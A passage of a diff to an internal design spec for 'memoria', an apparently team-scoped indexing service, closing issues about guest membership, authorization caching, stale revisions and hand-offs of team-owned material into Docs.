| A feed surface on memoria | Something needs to consume memoria. A new decision, with its own leak-list entry |
+| **A source-of-record surface, so a hand-off can include memoria's own material** | Someone wants "save this answer as a Doc" to work for answers built on the team's own uploads. Suite §7 makes the *receiver* check every source with its app of record, and memoria serves nobody to ask (decision 7), so such a hand-off is refused today — §9.1. Opening it needs its own decision, its own §3.2 leak entry and its own gate, and it is Paul's: decision 7 is settled |
| Calendar as a source | Calendar has a spec and content; bodies off by default even then |
| Mail beyond forward-or-label | Never by sweep. A mail repo exists **and** a per-thread audience maps onto a team |
| Cached answers | Query cost becomes visible. Requires §5.2's provenance invalidation first. **Triggering this expires §8.4's "stored nowhere"** |
@@ -2037,30 +2201,32 @@ rows.
before this one found two fixes that renamed a problem instead of
removing it.
- - **`MEMBER` is undefined for a guest.** Sheets §8.2 and Docs §8.2 both
- call a guest a member. §4.3 admits on "at least one sibling says
- MEMBER", so a person granted one Sheets sheet may be admitted — and
- §5.2 step 3 then gives them everything memoria owns. The predicate
- S7 asks needs to be "member of this team", not "known to this app".
- - **The S7 cache has no stated TTL, and the framework's default is 30
- days.** `rastrillo/auth` sets `DefaultSessionTTL = 30 * 24h` and
- memoria overrides nothing, so a person removed from every sibling
- reads memoria-owned content for up to a month. The number was never
- chosen. It also sits against §6.5's "never to cache its
- authorization", which for memoria-owned content is what the cache is.
- - **§2 and §4.2 still specify the members table decision 11 rejected**,
- word for word from draft 2. A reader of §2 builds it; a reader of
- decision 11 does not.
- - **§4.1 still says there is "no separate 'is P a member?' question"**,
- which §4.3's S7 is.
- - **No S2 value covers a sibling that is BEHIND memoria** — restored
- from backup, holding revision 5 of an item memoria indexed at 7.
- `STALE` is defined as the sibling having moved *past* the revision, so
- the natural answer is `NOT_VISIBLE`, which is the one silent value.
- The plausible-empty-list failure returns through the restore door.
- - **The circuit breaker fires on a routine case.** Under "admit on at
- least one sibling", a Docs-only member gets wholesale `NOT_VISIBLE`
- from Sheets on every query, which §8.1 calls an anomaly.
+ **Six of these closed on 2026-09-05 when A.4 landed, and they closed
+ together because they were one defect wearing six coats: decision 11.**
+
+ - ~~**`MEMBER` is undefined for a guest.**~~ **Closed.** Guests are
+ never on the roster (§4.3), so the question a guest broke is no
+ longer asked. Suite ruling 4.
+ - ~~**The S7 cache has no stated TTL, and the framework's default is 30
+ days.**~~ **Closed.** There is no S7 and no cache. Ruling 3 is "never
+ cached, at any scope", and §4.3's roster is a pulled copy with its
+ own TTL whose expiry stales team standing for everybody rather than
+ silently extending it.
+ - ~~**§2 and §4.2 still specify the members table decision 11
+ rejected.**~~ **Closed.** §2 now says roster copy; §4.2 says grants
+ and points membership at §4.3.
+ - ~~**§4.1 still says there is "no separate 'is P a member?'
+ question".**~~ **Closed.** §4.1 now says the opposite and says why:
+ admission and authorization are different questions at different
+ moments, which is the whole point of the roster split.
+ - ~~**No S2 value covers a sibling that is BEHIND memoria.**~~
+ **Closed.** §4.1 defines it: a revision the app of record does not
+ recognise answers `UNKNOWN` and withholds loudly, never `NOT_VISIBLE`.
+ Suite §4.3; GPT-6's finding 11 on the doctrine.
+ - ~~**The circuit breaker fires on a routine case.**~~ **Closed.** It
+ was routine only under "admit on at least one sibling"; with
+ admission on the roster, a Docs-only member is not admitted by Docs
+ and then refused wholesale by Sheets.
- **Derived-artefact provenance is not transitive.** An artefact built
from another artefact partitions as memoria-owned and never reaches
S2 for the first artefact's sibling sources. Two hops launder what
@@ -2084,7 +2250,14 @@ rows.
adopted it: home `c1784e8` (ruling 23, review record recovered as
discussion 8), Docs `6797bbf` (A.2, discussion 37, closing discussion
33), Sheets `4aea8f4` (A.3, discussion 16, new §9a naming S6 as Sheets'
- alone). Each replaced "instance boundary" with "team boundary" and cites
+ alone).
+ **Those are `refs/heads/main` on the remote, verified by `git ls-remote`
+ against each hub repo, and a checkout on any developer box will not
+ resolve them** — `amadan branch merge` lands on the remote and touches
+ no working tree, which is suite AGENTS.md's "the checkout on disk can
+ lie". A reviewer of this section looked in local checkouts, found none of
+ the three, and was right to say the claim was unverifiable as written.
+ It is the fetch that is missing, not the merge. Each replaced "instance boundary" with "team boundary" and cites
the doctrine rather than restating it. **Slice 1 is no longer blocked on
agreement.** What it now waits on is Sheets and Docs actually serving
S1–S3 — code, in their repos, suite §12 step 3.
@@ -2226,8 +2399,25 @@ rows.
single-source class extractive, but synthesis spans ≥3 documents, which
is the one place the work is more than extraction and the one place a
second tier could earn itself.
-- **Docs §11.2's qualification** must be recorded in the Docs repo by
- `docs-e6`, or the two specs contradict.
+- ~~**Docs §11.2's qualification** must be recorded in the Docs repo.~~
+ **CLOSED 2026-09-05.** It is not recorded, it is *replaced*: §8.3 and
+ Docs both cite suite §8's binding sentence, so there is one rule in one
+ place rather than two qualifications in two repos that then drift. That
+ is what `oficina/docs` discussion 33 asked for.
+- **A hand-off cannot include memoria-owned material, and that will read
+ as a bug.** An answer built purely on sibling passages can be saved into
+ Docs; one built on the team's own uploads cannot, because suite §7 makes
+ the receiver check every source with its app of record and decision 7
+ gives memoria no surface to be asked on. **The asymmetry is invisible to
+ a reader and looks like a defect long before it looks like a ruling.**
+ Recorded in §9.1 and as a §12 row; the decision is Paul's. *(GPT-6's
+ review of the doctrine, finding 3, via A.4.)*
+- **Ruling 15 is consumed and not cited.** §5's custody mark should say
+ what it says — only the `team` rung is team-visible, so custody keys on
+ the rung and never on the read-only link — and does not. One paragraph,
+ owed. Note the doctrine's own §14 still records Paul as not having ruled
+ on 15 while its §1 says he has; cite it as §1 has it and do not resolve
+ their disagreement from here.
- **A `carlos/platform` discussion** noting the app boundary is the
implementer's to declare, and Oficina declares it at the suite —
informational, not a doctrine proposal (decision 2).